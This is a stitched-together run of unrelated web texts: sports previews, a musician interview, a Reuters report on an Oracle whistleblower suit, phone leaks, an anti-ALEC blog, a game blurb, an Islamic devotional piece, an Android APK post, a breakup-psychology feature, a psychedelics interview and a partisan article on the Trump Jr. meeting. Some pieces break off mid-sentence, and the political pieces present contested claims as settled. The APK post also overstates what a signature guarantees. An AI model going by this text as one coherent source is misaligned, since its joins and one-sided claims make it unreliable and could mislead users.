The Public Perception Bowl: Clay Helton wanted the gig at USC. He got it. But whatever momentum there was from that hire already has been stunted by a blowout loss to Stanford in the Pac-12 championship game, followed by a gutting of the defensive coaching staff. In the Holiday Bowl, the Trojans will face Wisconsin, which has the No. 1 scoring defense in the country and whose only losses were to Alabama, Iowa and Northwestern by a combined 28 points. Plus, the loser in the Pac-12 title game is 0-4 in bowls. In this business, we call that a trend.
The Exceeded Expectations Bowl: Southern Mississippi wasn’t expected to do much this year, so reaching the Conference USA title game was significant. The Golden Eagles boast a 4,000-yard quarterback, two 1,000-yard rushers and a 1,000-yard receiver. In the Zaxby's Heart of Dallas Bowl, they’ll have to do work against a Washington defense that was tops in the Pac-12 and, likewise, exceeded expectations following what many considered a massive talent drain on that side of the ball from last year’s team.David Moyes has revealed that Jack Rodwell is facing a ‘week or so’ on the sidelines after suffering a medial ligament injury against Stoke City.
The news comes after the midfielder missed Tuesday’s Emirates FA Cup replay against Burnley, as goals from Sam Vokes and Andre Gray sent Sunderland crashing out of the competition.
Rodwell received praise from Moyes following a return to fitness and form at the back end of the festive period.
And the Sunderland boss is hoping to see the midfielder back in action soon rather than later.
"Jack had a medial ligament injury,” said Moyes. "He was scanned on Monday after getting it in the game on Saturday and the scan has not come up with anything.
“I'm hoping that it shouldn't keep Jack out too long; he's just beginning to get a couple of games under his belt so to have him out [against Burnley] was a blow.”
He added: "They thought that he'd opened his medial ligament so the scan has not shown a great deal.
“We're hopeful that he might just have to stay off it for a week or so and let's see how he is."
Moyes also delivered a positive update on the progress of Steven Pienaar and Victor Anichebe, with the duo pushing for a return to training this week.
"Victor's doing some running and there's a chance he can join back in training this week, but he's not joined the team in training to this point.
“Steven is the same, doing a little bit of running as well, and hopefully he'll have a chance to join in training before the end of the week."“I didn’t agree with what they did,” says Manic Street Preachers singer
Manic Street Preachers frontman James Dean Bradfield has been sharing his thoughts on U2’s controversial iTunes giveaway of Songs of Innocence last year. Although the 46-year-old Welsh musician declares himself a devout fan of U2, he didn’t agree with their method of release.
“It’s really strange because I try not to blast U2 because, number one, they’re an easy target,” Bradfield told Hot Press’ Olaf Tyaransen. “Number two, I think it’s one of my favourite records. I’m very selective about what version of U2 I like, but I always thought that War was one of the most original sounding rock ‘n’ roll garage albums of all time, and there’s lyrical high points on there as well for Bono.
“And we’re all massive fans of The Unforgettable Fire, the record itself and the song. I think between myself, Nick [Wire] and Sean [Moore], we all absolutely think that the song ‘The Unforgettable Fire’ is just genius, just a masterpiece. So there’s certain parts of U2’s career which I think are kind of unsurpassable in a way, which obviously other people feel that, too.
“I didn’t agree with what they did, but more so on the basis that I thought the actual record that they created deserved better. I thought it was their best album for a long time, and I thought it just deserved better than just to be uploaded in somebody’s fucking iPhone. That was from a point of just thinking, this record deserves to stand on its own two feet, because it’s a real return to form. That’s the basis I didn’t agree with it on.”
Manic Street Preachers are among the headliners at Electric Picnic in September. You can read the full interview with James Dean Bradfield in the next issue of Hot Press, out March 19th.SAN FRANCISCO (Reuters) - A whistleblower lawsuit filed against Oracle Corp (ORCL.N) over its accounting practices underscores the pressures established computer companies face to show that they are growing in the fast-moving business known as the cloud.
The Oracle logo is seen on its campus in Redwood City, California June 15, 2015. REUTERS/Robert Galbraith
The lawsuit, filed on Wednesday in U.S. District Court in San Francisco by former Oracle senior finance manager Svetlana Blackburn, also revives longstanding questions about proper accounting when software and computer services are bought on a subscription basis rather than as a single package, analysts said.
Those questions are becoming more urgent as companies including Oracle, IBM (IBM.N), Microsoft (MSFT.O) and SAP (SAPG.DE) race to transform their businesses for an era in which customers no longer own and operate their own information technology systems and instead lease computing services and software from cloud vendors using vast data centers.
Blackburn’s lawsuit accuses Oracle management of pushing her to “fit square data into round holes” to make Oracle’s cloud services’ results look better. She alleges that her bosses instructed her to add millions of dollars of accruals for expected business “with no concrete or foreseeable billing to support the numbers.”
“We are confident that all our cloud accounting is proper and correct,” an Oracle spokeswoman said on Thursday, adding that Blackburn worked at Oracle for less than a year and was terminated for poor performance.
Blackburn does not use the word “fraud” in her lawsuit, and analysts say outright fraud is unlikely.
Nevertheless, the situation poses risks, said Pat Walravens, an analyst at JMP Securities, partly because Oracle’s sales force has been offered big incentives to book cloud deals. An Oracle spokeswoman did not immediately respond to a request for comment about the incentives.
Oracle shares fell almost 4 percent the |
6-inch 1080p device, running either the Qualcomm Snapdragon 630, 636 or 660 chipset.
The benchmark points to a device with 32GB internal storage, 4GB RAM, with a 23MP rear camera and 16MP selfie camera. The same Sony H3213 (H32XX) model number was also spotted through an official UAProf, along with a Sony H3123 (H31XX) model. Both of these confirmed the use of a 1080p display. We’ll bring you more news as we have it.
Sony H3213 ‘Avenger’ in GFXBench
Via Mobielkopen.net.
Thanks KF, Michael and Moisés!947 SHARES Facebook Twitter Reddit Stumbleupon Pinterest
ALEC: learn this acronym well. It stands for American Legislative Exchange Council.
ALEC is classified as a a 501(c)(3) company, which allows it to hide most of its financial information from the public. In other words, financial information on little things like “grants” from corporations, foundations, and private donors are perfectly protected by law. They don’t have to open their books, nor do politicians have to explain their activities with this corporate organization.
This corporate organization has found a lobbying loophole which allows them to wine and dine high-ranking politicians and call it “education.” They have been tied to numerous Republican bills. Here are a few examples:
Altria/Philip Morris USA benefits from ALEC’s newest tobacco legislation — an extremely narrow tax break for moist tobacco that would make fruit flavored tobacco products cheaper and more attractive to youngsters.
Health insurance companies such as Humana and Golden Rule Insurance (United Healthcare), benefit directly from ALEC model bills, such as the Health Savings Account bill that just passed in Wisconsin.
Tobacco firms such as Reynolds and pharmaceutical firms such as Bayer benefit directly from ALEC tort reform measures that make it harder for Americans to sue when injured by dangerous products.
Corrections Corporation of America (CCA) benefits directly from the anti-immigrant legislation introduced in Arizona and other states that requires expanded incarceration and housing of immigrants, along with other bills from ALEC’s crime task force. (While CCA has stated that it left ALEC in late 2010 after years of membership on the Criminal Justice Task Force and even co-chairing it, its prison privatization bills remain ALEC “models.”)
Connections Academy, a large online education corporation and co-chair of the Education Task Force, benefits from ALEC measures to privatize public education and promote private on-line schools.
Read more below.
In case you haven’t guessed, the politicians are mostly Republican. In fact this corporate organization has given awards to numerous Republican politicians. Here is a list of politicians who received rewards…err I mean awards from ALEC. This list is from the website alecexposed.org.
Ronald Reagan, Margaret Thatcher, George H.W. Bush, Charles and David Koch, Richard de Vos, Tommy Thompson, Gov. John Kasich, Gov. Rick Perry, Congressman Mark Foley (intern sex scandal), and Congressman Billy Tauzin. ALEC alumni include: Speaker of the House John Boehner, House Majority Leader Eric Cantor, Congressman Joe Wilson, (who called President Obama a?liar? during the State of the Union address), former House Speaker Dennis Hastert, former House Speaker Tom DeLay, Andrew Card, Donald Rumsfeld (1985 Chair of ALEC’s Business Policy Board), Governor Scott Walker, Governor Jan Brewer, and more. Featured speakers have included: Milton Friedman, Newt Gingrich, Dick Cheney, Dan Quayle, George Allen, Jessie Helms, Pete Coors, Governor Mitch Daniels and more.
In the video below we can also see local law enforcement being pimped out by ALEC to remove any pesky reporters who might annoy them with silly questions, like “are there laws being passed in there?” or “are you lobbyist?”?These officers are probably very well paid, and more than likely considered “good cops.”
The problem I have is that these officers could not care less about who they are protecting, and so that gives them a negative image. If ALEC had armed gang members protecting them, it could give you a very bad impression of gang members if you didn’t already have one. So what makes law enforcement think they would be viewed any differently? Blue lives do matter, but so does public perception and trust.
If you protect those who pervert our government, twist it to suit their agenda and not the American people’s will, then many people are going to see you as henchmen for the corporate elite. Until the police can figure out how to become a part of the communities they serve rather than just look to collect paychecks for “doing the job,” then they will always be viewed with suspicion and resentment.
Here’s the video of a local Atlanta news station exposing ALEC activities within their state. The saddest part about this report is that most people can watch it, maybe get angry, but in the end they will shrug their shoulders and accept it. Corporate groups like ALEC are not hiding, and they are not worried about you. Those two facts should scare the hell out of you; it certainly scares me.About This Game
In WARMACHINE, the very earth shakes during fierce confrontations where six-ton constructs of iron and steel slam into each other with the devastating force of a locomotive, where lead-spewing cannons chew through armor plating as easily as flesh, and where bold heroes set the battlefield ablaze with a tempest of arcane magic as they forge the fates of their unyielding nations in the fires of destruction.Take control of an elite battle mage known as a warcaster and his army of unstoppable warjacks and deadly soldiers in this intense and aggressive turn-based tactical combat game set in the award-winning, steam-powered world of the Iron Kingdoms.WARMACHINE: Tactics is a next-generation turn-based tactical game developed with the Unreal 4 engine. Cutting-edge visuals, an immersive world setting, and squad customization features offer a rich multiplayer experience along with an extensive single-player campaign that will appeal to fans of revered tactical games like X-Com: Enemy Unknown and The Valkyria Chronicles.Learn more about the WARMACHINE: Tactics and the Iron Kingdoms at: http://warmachinetactics.com • Four armies representing the four core factions of the Iron Kingdoms. Each army contains three Warcasters, multiple Warjacks, and multiple Warrior units!• A point-based squad customization system that allows you to decide exactly what units and strategies you take into battle!• Five multiplayer maps: Forest Ruins, Trenches At the Border, Swamp Bridges, Orgoth Ruins and Snowy Valley. New Multiplayer maps will release regularly, always for free!• An epic single-player campaign featuring 21 missions and an engaging storyline that will immerse you in the world of the Iron Kingdoms!• AI Skirmish Mode!• Four armies representing the four core factions of the Iron Kingdoms. Each army contains one warcaster, two Warjacks and multiple Warrior units!• All available multiplayer maps!• Three missions of our epic single player campaign!• AI Skirmish Mode!Huawei's upcoming P9 flagship smartphone will have as many as four variants, according to a new report. Aside from the standard P9, the other three variants will be the more budget-friendly P9lite, a P9max (which has already been spotted on AnTuTu), and an unnamed higher-specced P9.
As per the report, the unnamed fourth variant will have a slightly larger display as well as more RAM and internal memory compared to the standard P9. It will also feature a dual-lens 12 MP rear camera unit - if you recall, a couple of previous rumors have already hinted towards a dual camera on P9's back.
The report also revealed that none of these variants will be unveiled at this year's MWC, which is scheduled for late next month. It says that Huawei will instead announce them "several weeks post-MWC," something which is inline with rumors of a March unveiling.
Finally, the report also noted that none of Huawei's phones this year - including these P9 variants - will feature QHD resolution display. The reason is that Huawei doesn't consider the resolution worth the trade-off in power drain.
ViaProphet Muhammad started the message of Islam in Arabia at a time when human rights had no meaning, might was right and the society was entrenched in paganism. In this environment, Prophet Muhammad taught a message of justice, peace, human rights, animal rights and even environmental rights as ordained by God, the One True Creator of all that is in the universe.
God has shown us in the character of Prophet Muhammad the model of a companionate person. He treated everyone, friends and foe, man and woman, young and old, with kindness and respect.
Even when the pagan Arabs reacted to the message of the Prophet with extreme hatred he showed love and kindness.
The following examples from the life of the Prophet show us how we should react when faced with hatred.
We can see one of the most patient and tolerant aspects of the Prophet's character in the incident of an old woman who made a habit of throwing trash in the way of the Holy Prophet Muhammad whenever he passed by her house.
The story related about this incident, mentions a neighbor of the Prophet that tried her best to irritate him by throwing garbage in his way every day. One day, when he walked out of his home there was no garbage. This made the Prophet inquire about the old woman and he came to know that she was sick. The Prophet went to visit her and offer any assistance she might need. The old woman was extremely humbled and at the same time ashamed of her actions in light of the concern that the Prophet showed her.
By seeing the example of compassion of Prophet Muhammad, she became convinced that Islam must be a true religion that the Prophet was preaching. 1
Another incident that is reported from the life of the Prophet is when the Prophet traveled to a neighboring town of Taif.
In Taif he thought he might find people who might be respectable to the message of Almighty God. The people of Taif turned out to be as hateful as the people of Makkah. The elders of the town planned an organized campaign to ridicule the Prophet. To escalate their disapproval of the Prophet and prevent him from preaching Islam, they set a group of children and vagabonds behind him. They pestered him and threw stones at him. Tired, forsaken and wounded, he sought refuge in a nearby garden. It belonged to Atabah and Shaibah, two wealthy chiefs of Quraish.
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They were both there when Prophet Muhammad entered and sat under a distant tree. The Prophet raised his face towards heaven and prayed: "O Almighty! I raise unto you, my complaint for my weakness, my helplessness, and for the ridicule to which I have been subjected. O Merciful! You are the Master of all oppressed people, You are my God! So to whom would You consign me? To the strangers who would ill-treat me, or to the enemies who have an upper hand over me? If whatever has befallen me is not because of Your wrath, then I fear not. No doubt, the field of Your security and care is wide enough for me. I seek refuge in Your light which illuminates the darkness and straightens the affairs of this world and hereafter, that Your displeasure and wrath may not descend upon me. For the sake of Your pleasure, I remain pleased and resigned to my fate. No change in this world occurs without Your Will."
Atabah and Shaibah were watching. They sent for their servant named Adaas and gave him a plate full of grapes. "Take this to that man under the tree," they ordered. So he brought the grapes to Prophet Muhammad.
As the Prophet picked the grapes he said: "Bismillahir Rahmaanir Rahim" (In the Name of God, the Most Merciful, the Most Compassionate). Adaas had never heard this before. He was impressed by it, because the Prophet was invoking mercy and compassion of Almighty in spite of all the hardship he was subjected to.
"Who are you?" Adaas asked. Muhammad replied, "I am the Prophet of God. Where do you come from?"
The servant said: "I am Adaas, a Christian. I come from Nainava."
"Nainava? You come from a place where my brother Yunus bin Mati (Jonah son of Mati) lived," the Prophet said.
Adaas was surprised to hear the name.
"What do you know of Yunus? Here no one seems to know him. Even in Nainava there were hardly ten people who knew his father's name."
The Prophet said: "Yes, I know him because just like me, he was a Prophet of Almighty God."
Adaas fell on his knees before the Prophet, kissed his hand and embraced him.
It is further reported that after the Prophet took refuge from the stone-throwing mob, Angel Jibrael came to the Prophet and asked him if he so wished Jibrael would give the command to bury the city between two mountains. Although the prophet had suffered a great deal at the hands of these people, he replied that he did not wish destruction for the people of Taif because maybe their offspring would proclaim the religion of truth. 2
The Islamic scholar Imam Ghazali (1058 - 1111 C.E.) summarizes the information he collected in the hadith regarding our Prophet's compassionate attitude to all those around him as follows:
"He was far from knowing anger and quickly showed compassion for things. He was the most loving of men toward other people. He was the most auspicious of men and did the most good to others, and the most useful and beneficial to others." 3
The Quran says that Prophet was sent as a mercy to the worlds. If we are to honor the Prophet, it will be by adopting the sublime character of our Prophet and not through the emotions of anger and hate.
References:
1. Abdul Wahid Hamid, (2004) Islam the Natural Way. UK: Muslim Education and Literary Services.
2. Al-Bukhari and Muslim
3. (Imam Ghazali, Ihya'u Ulumiddin, Vol. 2)
Related posts from similar topics:
Seven Stages of Life in Islam The Greatest Love Story (Muhammad SAW and Khadija RA) Why Did The Prophet (PBUH) Marry Aisha Young? Rabbis and Islam’s ‘Non-Jewish Prophet's Teaching’ Coming of the Prophet according to Bible Message and Method of the Prophet In Search of the Prophet Responsibility of Pluralism in Islam The Prophet of Islam - His Biography Prophet’s (PBUH) Unique Approach to Da’wah A Forgotten Covenant Muhammad The ProphetGoogle just announced all of the great new APIs developers would be able to play with from the Google Play services, and now we've got some apks to check out. As usual, there aren't a lot of user-facing features in the GMS package, so don't expect to see any huge changes immediately after installation. However, there are at least a couple of interesting bits and pieces that stand out in a side-by-side comparison.
What's New
The only immediately obvious difference (that actually does something) is a relocation of the security code generator. This is a simple little tool Google occasionally uses for creating verification codes for emergency authorizations. It used to be hidden away in the overflow menu at the top of the main screen, but the latest version moves it out of the menu and places it at the top of the Security settings. Also, the generator now has a dedicated screen instead of a popup dialog.
Left x 3: old version, Right x 2: new version
The other noticeably visible change can be found under Settings -> Security -> Smart Lock (if you have a lockscreen with some kind of security enabled). A new member has joined the list of "Trusted" methods to bypass device security: voice. However, it seems that this is a bit of a red herring. Tapping on Trusted voice takes users to the Google Search voice settings screen, and no combination of options seems to enable this feature. It's likely that we'll just have to wait for an update to the Google Search app, which should allow us to use our own voices as an unlock method. (Admit it, that's going to be pretty cool.)
Left: old version, Center & Right: new version
We'll keep looking for more changes, and there may be a teardown coming if anything new and interesting turns up. In the meantime, feel free to skip the wait for the Play services apk to roll out to your gadgets and grab it from the link below. Let us know if you find anything else new and interesting.
Download
The APK is signed by Google and upgrades your existing app. The cryptographic signature guarantees that the file is safe to install and was not tampered with in any way. Rather than wait for Google to push this download to your devices, which can take days, download and install it just like any other APK.
Version: 7.0.86 (1763202)Photo: Robert Isenberg/NBC via Getty Images
In honor of Valentine’s Day, Science of Us is spending this week talking about love — specifically, what happens when it goes wrong. If you ever wondered about the psychology of breakups, we’ve got you covered.
If you’re even a casual fan of the show Friends, you may be familiar with the scene where a drunken Rachel calls up Ross to declare that her crush on him — a crush that he was unaware of — is finally finished. “I am over you,” she slurs into the phone, “and that, my friend, is what they call closure.” But saying it isn’t enough to make it so, and (spoiler alert) closure doesn’t come.
While a television sitcom may not be the best place to turn for relationship advice, the scene does tell us something real about both breakups and unrequited love: When things are over — or when it becomes clear that the affection isn’t reciprocated — people want the pain to go away, or they want to get over their feelings, or they want some other type of demarcation between now and whatever comes next. In short, they want that nebulous thing we often refer to as “closure.” The dictionary defines closure as the “act or process of closing something,” or “a feeling that an emotional or traumatic experience has been resolved”; when it’s applied to relationships, the word refers to the ability to move on without being haunted by any lingering pain, regrets, or doubts.
But knowing what it means and knowing how to achieve it can be two entirely different things — and closure, like love itself, is often deeply misunderstood.
“Even when the breakup is mutual,” says journalist Wendy Paris, author of Splitopia: Dispatches From Today’s Good Divorce and How to Part Well, that doesn’t necessarily mean closure will come easily: “You have been invested in this partnership, in this story line and vision of your life.” Paris, who got divorced from her husband five years ago, argues that closure has two parts: “First, accepting that your story has changed and what you had hoped for is no longer your reality, and second, creating a new vision for where you want your life to go.”
Psychologists would agree. In the last decade, relationship researchers have closely studied breakups to understand how people can move forward afterward. What they’ve found is intriguing: A major reason why breakups are so hard is because they cause a crisis of identity — and we need to resolve that crisis to move forward.
Part of the problem is that being rejected makes us feel unlovable and unworthy. We wonder: Is there something inherently wrong with me? Will I find love again? That old love gave my life meaning, and I no longer have it, so where do I find meaning now?
And as Melissa Dahl has explained for Science of Us, the end of a relationship can distort our sense of self. Research shows that when people are in a healthy relationship, their sense of self expands to include their partner. “There is less ‘me’ and more ‘we,’” explained Gary Lewandowski, a leading relationship researcher at Monmouth University. But when the relationship ends, that expanded identity shatters, and individuals begin a process that psychologists call “self-contraction.”
In one study, Lewandowski and his colleagues found that people who felt their relationship really expanded their sense of self — that it made them a “better person” and helped them grow their “capabilities” — were more likely to say that the breakup caused them to lose a part of who they are. A separate set of studies led by Erica B. Slotter of Northwestern University came to a similar conclusion: After a breakup, she and her colleagues found, people understood themselves less clearly and even said that they felt smaller psychologically — and this reduced “self-concept clarity” was associated with greater post-breakup emotional distress.
Achieving closure, then, might best be understood as regaining a sense of who you are outside of your ex. Paris describes the process as a “sifting”: “What am I taking from this that’s still part of my identity, and what am I letting go?”
This “sifting” can be complicated and confusing, but one way to move it along is to pursue activities that align with who you want to be. In his research, Lewandowski has found that people get over a breakup more quickly when they make a conscious effort to rediscover their pre-relationship selves. That could mean picking up a hobby that they abandoned before the relationship, like running marathons, or doing something new that aligns with their values, like writing poetry or volunteering. When people return to or explore what they intrinsically value, they start defining their sense of self in terms of their own interests rather than in terms of what their ex thinks of them, which helps them overcome the pain of the split.
How quickly you find a sense of peace after a breakup also depends on the story you tell yourself about why the relationship ended. Researchers Lauren Howe and Carol Dweck of Stanford University, who have collected and analyzed hundreds of breakup stories, argue that when people tell harmful stories about themselves and the breakup, it hinders their ability to find closure. “Things were going well,” one research subject wrote, “when all of a sudden he stopped talking to me. I have no idea why, but I think he saw that I was too clingy and this scared him away.” Another explained: “I just feel hurt and rejected. I try to tell myself that it wasn’t my fault and that it was that person’s loss but I can’t help but feel inadequate.” In both cases, the storytellers have allowed the rejection of the breakup to define them and indict their character.
These stories are “maladaptive,” Howe says, helping the pain of rejection to linger for longer. Why? “That kind of story,” Howe explains, “is a blow to your self-concept. You’re left wondering, Is there something negative about me that’s going to harm my future relationships?”
Instead, she says, it’s better to tell a story that doesn’t focus so much on the self. In her studies with Dweck, Howe found that the people who moved on more quickly after a breakup were also typically those who didn’t blame themselves for the relationship’s end. Instead, they told a story that blamed their circumstances: The relationship ended because the timing wasn’t right, or thanks to incompatible personalities. “Sometimes girls are not interested. It’s nothing to do with yourself, it’s just that they’re not interested,” said one subject. “Everyone gets rejected,” said another. “It’s just part of life.” Others told stories of growth — they said they matured as a result of the breakup, for example, by learning how to forgive or becoming better at communication in relationships. The people who understood their breakups through these types of stories — ones that put distance between the rejection and themselves — ultimately experienced less emotional distress as a result.
At the end of that episode of Friends, Ross and Rachel discover they have feelings for each other, and one of TV’s most well-known on-again-off-again couples continues to hop between on and off for several more seasons. But that’s television. In the real world, most people will have to come to terms, at some point, with the painful fact that their relationships are truly over, without the comfort of knowing things may one day go back to the way they were.
And to do that, they have to think of themselves as the protagonists in a story that moves them forward. “A breakup can be unexpected,” says Paris. “It’s a narrative glitch. It’s not the story we were living. But you have the power to retell that story in a way that’s empowering.”
Emily Esfahani Smith is the author of The Power of Meaning: Crafting a Life That Matters.How would you like a job that involved guiding people on psychedelic trips?
Mark Haden hopes such a career will soon exist, along with the legalization of psychedelic drugs in Canada.
Haden, an addictions counsellor and researcher based in Vancouver, is part of a team that's studying the effects of MDMA (also known as ecstacy) in treating post-traumatic stress disorder. If Health Canada approves his research, psychedelic drugs could be legalized in the next five years.
And that's where the new career comes in.
In a paper published in the Journal of Psychoactive Drugs, Haden and his co-authors call for regulation of legalized psychedelics: including the creation of a licensed profession called "psychedelic supervisors."
Mark Haden teaches at the UBC School of Population and Public Health and chairs the board of MAPS Canada (Multidisciplinary Association of Psychedelic Studies). (Provided by Mark Haden)
The full interview is available in the audio player above. The following portions have been edited for clarity and length.
What exactly is a psychedelic supervisor?
A psychedelic supervisor is somebody that oversees a psychedelic session, and provides a context for an experience that somebody has with psychedelics. It's somebody who manages both set and setting, set being the expectation and setting being the environment, to maximize the benefit and minimize the harm of a psychedelic.
A psychedelic supervisor is somebody that oversees a psychedelic session, and provides a context for an experience that somebody has with psychedelics. - Mark Haden
Is that because there could be risks if you ingest psychedelics unsupervised?
If you look at psychedelics generally, and it's probably true for all drugs, there are three possible risks: there are toxicity risks, there are dependency risks, and there are behavioural risks.
There's very, very, little chance of anybody becoming dependent on psychedelics. I worked in the addiction services as a counsellor and as a supervisor for close to 30 years, and nobody ever walked into my office saying "I can't stop taking LSD." The toxicity is also really low — when they're done in pure dosages, known dosages and pure concentrations. So all of the risks come in one thing, which is basically lack of supervision. People who do really foolish things when they're on a psychedelics can create problems for themselves and the people around them.
So if we want to regulate psychedelics in a legal world, doing it with a supervisor would make absolute and complete sense.
What kind of training would a supervisor have to go through?
Well, what we are proposing is the establishment of a profession. So, it would be similar to doctors, and lawyers, and accountants, and veterinarians, in that they would have a similar level of training. Now, within the context of psychedelic supervision, there are different streams that we're proposing. Specifically, psychedelic psychotherapy, the process that I'm involved with, has a very specific focus: how do you heal people for PTSD, but there might be other types of training as well. Ayahuasca ceremonies require a very different type of training, so we're actually proposing that there be a variety of specialties within the context of psychedelic psychotherapy, or psychedelic supervision.
A pot of of the medicinal plant ayahuasca at Phoenix Ayohausca retreat in Peru. (Facebook)
Now, we're talking about psychedelic drugs being used for clinic purposes, but you're arguing that they will also be legal shortly for recreational use, correct?
Yes, I mean I would put it as spiritual and therapeutic, but it doesn't have to be specific. You don't need to necessarily have a prescription for an illness to participate in the process, yes.By Keith Idec
NEW YORK – If Adrien Broner isn’t as impressive against Adrian Granados as he expects, it won’t be because Broner isn’t properly prepared.
The polarizing Broner insists he is more committed to training than ever following a trying year in which he fought just once, experienced a highly publicized mental health scare, was charged with felonious assault and aggravated robbery, and spent 30 days in jail for violating terms of his probation. The former four-division champion anticipates his stronger commitment to lead to a sound defeat of Granados in their 12-round junior welterweight fight February 18 in Cincinnati, Broner’s hometown.
Broner recently discussed multitasking for this 12-round fight, which Showtime will televise from Xavier University’s Cintas Center. In addition to participating in the main event, Broner’s company, About Billions Promotions, is co-promoting this show with Mayweather Promotions.
“I’ve got a lot on my plate, but I’m on a diet this camp,” Broner joked. “I’m doing things different. I’m getting older. I’m wising up. I always trained hard, but it is about being smarter. So, as you said, I do have a lot on my plate, I’ve got a lot on my shoulders. But I’ve been here before. So I’ll be OK.”
At 27, Broner believes he still has time to maximize his potential, despite defeats to Marcos Maidana and Shawn Porter. To do that, he knows he can’t cut corners the way he did when he was younger.
“Just training my ass off and ain’t taking no shortcuts,” Broner said. “When you have the talent that God’s given me, you can do less of things and still win the fight. This time I’m really not taking no shortcuts and I’m trying to reach my fullest potential in the boxing game.”
Broner (32-2, 24 KOs) has fought just twice since he lost a 12-round unanimous decision to Porter (26-2-1, 16 KOs) in a June 2015 fight in Las Vegas. By the time he boxes Granados (18-4-2, 12 KOs), of Cicero, Illinois, Broner won’t have fought in 10½ months, not since he stopped England’s Ashley Theophane (40-7-1, 11 KOs) in the ninth round April 1 in Washington, D.C.
“I’ve been through some humbling situations over the past year,” Broner said. “Like last year, I fought one time. And that was because a lot of the things that I’ve done. At the end of the day, I just wanna do better for myself, for my kids and for the other kids that’s looking up to me.”
In addition to Broner-Granados, Showtime will televise two other fights February 18.
Showtime’s tripleheader will open with a 10-round bout between junior middleweights Marcus Browne (18-0, 13 KOs), of Staten Island, New York, and Thomas Williams Jr. (20-2, 14 KOs), of Fort Washington, Maryland. Immediately before Broner-Granados, Russia’s David Avanesyan (22-1-1, 11 KOs) will defend his WBA world welterweight title against Washington’s Lamont Peterson (34-3-1, 17 KOs).
Keith Idec is a senior writer/columnist for BoxingScene.com. He can be reached on Twitter @Idecboxing.Natalia Veselnitskaya, the Russian lawyer who met with Donald Trump Jr. in June 2016, not only has proven ties with the Kremlin but also with the Obama administration.
The story goes like this…
In 2016, Rob Goldstone e-mailed Donald Trump Jr. – speaking on behalf of a mutual friend, Emin Agalarov – claiming to have incriminating evidence on Hillary Clinton and her dealings with Russia. After attempts at holding meetings via telephone that all fell through, Donald Trump Jr. learned Natalia Veselnitskaya landed in New York and decided to meet with her.
Natalia Veselnitskaya – who Trump Jr. knew wasn’t a government official going into the meeting – had no real dirt to share and shifted discussion toward repealing the Magnitsky Act. In short, as Trump Jr. put it:
“It quickly became clear that she had no meaningful information… It became clear to me that this was the true agenda all along and that the claims of potentially helpful information were a pretext for the meeting.”
Therefore, no harm, no foul. Don Jr. broke no laws or practices by meeting with Veselnitskaya – no matter how badly Democrats and liberals want to pretend he did. Meetings like these are typical – in fact, Clinton allies did the same thing as Trump Jr., but with Ukrainian connections instead of Russian ones. However, by leftist logic it’s likely colluding with Ukrainians is acceptable over associating with the big, bad Russian boogeyman. Plainly, outrage and furor cannot be this selective. If we’re calling Don Jr.’s meeting “treasonous“, Clinton’s Ukrainian collusion is, too!
Interestingly, Natalia Veselnitskaya is ardently anti-Trump as showcased in her Facebook posts…
For what reason would Veselnitskaya even want to hold a meeting with Donald Trump Jr. when she vehemently resisted his father’s run for President? For that answer, we simply have to delve a bit deeper into Veselnitskaya’s roots. In their article on her, Heavy lists Veselnitskaya as having represented Denis Katsyv, owner of Prevezon Holdings…
…and in a document found on Senator Chuck Grassley’s website, Prevezon and Fusion GPS are described as working together in an effort to “repeal the Magnitsky Act“…
What’s particularly interesting is that Fusion GPS is now known to be the source behind the totally false “Pissgate” dossier compiled by former British MI6 agent, Christopher Steele… so here, we have a solid link between Veselnitskaya’s prominent connections and Fusion GPS.
Oh, you still think Veselnitskaya isn’t a Democratic operative? Why else would she have former Democratic Rep. Ron Dellums on her payroll?
Radical left-wing icon former California Democratic Rep. Ron Dellums was a hired lobbyist for Natalia Veselnitskaya, the Russian lawyer who met with Donald Trump Jr. June 9, 2016, the Daily Caller News Foundation Investigative Group has learned. Dellums, who represented liberal San Francisco and Oakland, Calif., is a long-time darling of left-wing political activists. He served 13 terms in Congress as an African-American firebrand and proudly called himself a socialist. He retired in 1996.
Somehow, the worst is yet to come…
Veselnitskaya had an expired visa when she met with Donald Trump Jr., so she was not legally allowed to enter the US. She got in because… the Department of Justice, headed by former Attorney General Loretta Lynch, expedited her entry to the U.S. under “extraordinary circumstances” after she had been turned down.
The Moscow lawyer had been turned down for a visa to enter the U.S. lawfully but then was granted special immigration parole by then-Attorney General Loretta Lynch for the limited purpose of helping a company owned by Russian businessman Denis Katsyv, her client, defend itself against a Justice Department asset forfeiture case in federal court in New York City. During a court hearing in early January 2016 as Veselnitskaya’s permission to stay in the country was about to expire, federal prosecutors described how rare the grant of parole immigration was as Veselnitskaya pleaded for more time to remain in the United States. “In October the government bypassed the normal visa process and gave a type of extraordinary permission to enter the country called immigration parole,” Assistant U.S. Attorney Paul Monteleoni explained to the judge during a hearing Jan. 6, 2016. “That’s a discretionary act that the statute allows the Attorney General to do in extraordinary circumstances. In this case, we did that so that Mr. Katsyv could testify. And we made the further accommodation of allowing his Russian lawyer into the country to assist,” he added. The prosecutor said Justice was willing to allow the Russian lawyer to enter the United States again as the trial in the case approached so she could help prepare and attend the proceedings.
So Veselnitskaya’s entry was fast-tracked by the Obama administration for the “limited purpose” of defending her Russian client… but they just turned their heads when this ardently anti-Trump woman met with Trump’s son?
Still, mainstream media wants you to believe that this woman was an operative sent from the Kremlin, ignoring all her ties to Democrats and the Obama administration… not to mention the Obama administration flagrantly ignoring all the obvious violations of her terms of entry to the country.
Even worse, Veselnitskaya was brazen enough to commit violations of her terms of entry in plain sight to Obama officials themselves. Just five days after meeting with Don Jr., Veselnitskaya sat in on a hearing at the House Foreign Affairs Committee when Obama’s former Russian Ambassador, Michael McFaul, publicly discussed the “Russian hacking” conspiracy theory.
Why would Natalia Veselnitskaya want to meet with Trump Jr. when she despised his father’s bid for the Presidency?
Simple – it was a set-up.
The Establishment and Fake News media sat on and waited to deploy this carefully-orchestrated nothingburger from an anti-Trump Democratic political operative.
Conveniently, Veselnitskaya’s meeting with Trump Jr. dropped right after news broke that over half of James Comey’s memos on his meetings with Trump contained classified information!
Funny how that works, isn’t it? Please, pay no attention to the man behind the curtain; Russian-controlled Trump has finally been ousted!
(Note: Free Market Shooter’s Duane Norman was a contributing author on this article.)LAS VEGAS, NV -- Top Rank, Inc. is ready to promote "THE HEAVYWEIGHT DEBATE:: DONALD TRUMP vs. BERNIE SANDERS." The idea of the debate was first proposed on Wednesday night when Trump appeared on Jimmy Kimmel Live, and Kimmel asked Trump if he would consider it. Trump's response to Kimmel was "We would have such high ratings and I think I should take that money and give it to some worthy charity."
Enter Hall of Fame promoter BOB ARUM.
